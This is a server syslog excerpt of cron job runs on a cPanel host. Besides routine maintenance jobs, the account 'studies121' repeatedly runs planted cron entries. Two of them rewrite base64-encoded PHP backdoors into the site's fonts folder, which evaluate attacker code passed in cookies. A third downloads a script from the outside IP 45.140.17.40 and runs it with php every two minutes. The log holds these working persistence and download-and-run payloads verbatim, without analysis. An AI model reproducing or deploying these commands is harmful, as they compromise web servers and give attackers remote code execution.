Sep  6 01:54:01 ip-184-168-122-23 CROND[26341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:54:01 ip-184-168-122-23 CROND[26342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:54:01 ip-184-168-122-23 CROND[26344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:54:01 ip-184-168-122-23 CROND[26343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:55:01 ip-184-168-122-23 CROND[26432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:55:01 ip-184-168-122-23 CROND[26433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:55:01 ip-184-168-122-23 CROND[26436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:55:01 ip-184-168-122-23 CROND[26434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:55:01 ip-184-168-122-23 CROND[26431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:55:01 ip-184-168-122-23 CROND[26435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:56:01 ip-184-168-122-23 CROND[26564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:56:01 ip-184-168-122-23 CROND[26566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:56:01 ip-184-168-122-23 CROND[26568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:56:01 ip-184-168-122-23 CROND[26567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:56:01 ip-184-168-122-23 CROND[26569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:57:01 ip-184-168-122-23 CROND[26675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:57:01 ip-184-168-122-23 CROND[26677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:57:01 ip-184-168-122-23 CROND[26676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:57:01 ip-184-168-122-23 CROND[26678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:58:01 ip-184-168-122-23 CROND[26770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:58:01 ip-184-168-122-23 CROND[26775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:58:01 ip-184-168-122-23 CROND[26774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:58:01 ip-184-168-122-23 CROND[26773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:58:01 ip-184-168-122-23 CROND[26776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:59:01 ip-184-168-122-23 CROND[26943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:59:01 ip-184-168-122-23 CROND[26944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:59:01 ip-184-168-122-23 CROND[26945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:59:01 ip-184-168-122-23 CROND[26946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27042]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27049]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27048]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:00:01 ip-184-168-122-23 CROND[27045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:00:01 ip-184-168-122-23 CROND[27052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:00:01 ip-184-168-122-23 CROND[27053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:01:01 ip-184-168-122-23 CROND[27149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:01:01 ip-184-168-122-23 CROND[27148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:01:01 ip-184-168-122-23 CROND[27147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:01:01 ip-184-168-122-23 CROND[27150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:01:01 ip-184-168-122-23 CROND[27151]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 02:01:01 ip-184-168-122-23 CROND[27152]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27151]: starting 0anacron
Sep  6 02:01:02 ip-184-168-122-23 anacron[27167]: Anacron started on 2026-09-06
Sep  6 02:01:02 ip-184-168-122-23 anacron[27167]: Normal exit (0 jobs run)
Sep  6 02:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27171]: finished 0anacron
Sep  6 02:02:01 ip-184-168-122-23 CROND[27240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:02:01 ip-184-168-122-23 CROND[27243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:02:01 ip-184-168-122-23 CROND[27241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:02:01 ip-184-168-122-23 CROND[27242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:02:01 ip-184-168-122-23 CROND[27244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:03:01 ip-184-168-122-23 CROND[27352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:03:01 ip-184-168-122-23 CROND[27353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:03:01 ip-184-168-122-23 CROND[27355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:03:01 ip-184-168-122-23 CROND[27354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:04:01 ip-184-168-122-23 CROND[27437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:04:01 ip-184-168-122-23 CROND[27438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:04:01 ip-184-168-122-23 CROND[27436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 02:04:01 ip-184-168-122-23 CROND[27439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:04:01 ip-184-168-122-23 CROND[27440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:05:01 ip-184-168-122-23 CROND[27523]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:05:01 ip-184-168-122-23 CROND[27526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:05:01 ip-184-168-122-23 CROND[27525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:05:01 ip-184-168-122-23 CROND[27527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 02:05:01 ip-184-168-122-23 CROND[27530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 02:05:01 ip-184-168-122-23 CROND[27528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:05:01 ip-184-168-122-23 CROND[27531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:06:01 ip-184-168-122-23 CROND[27697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
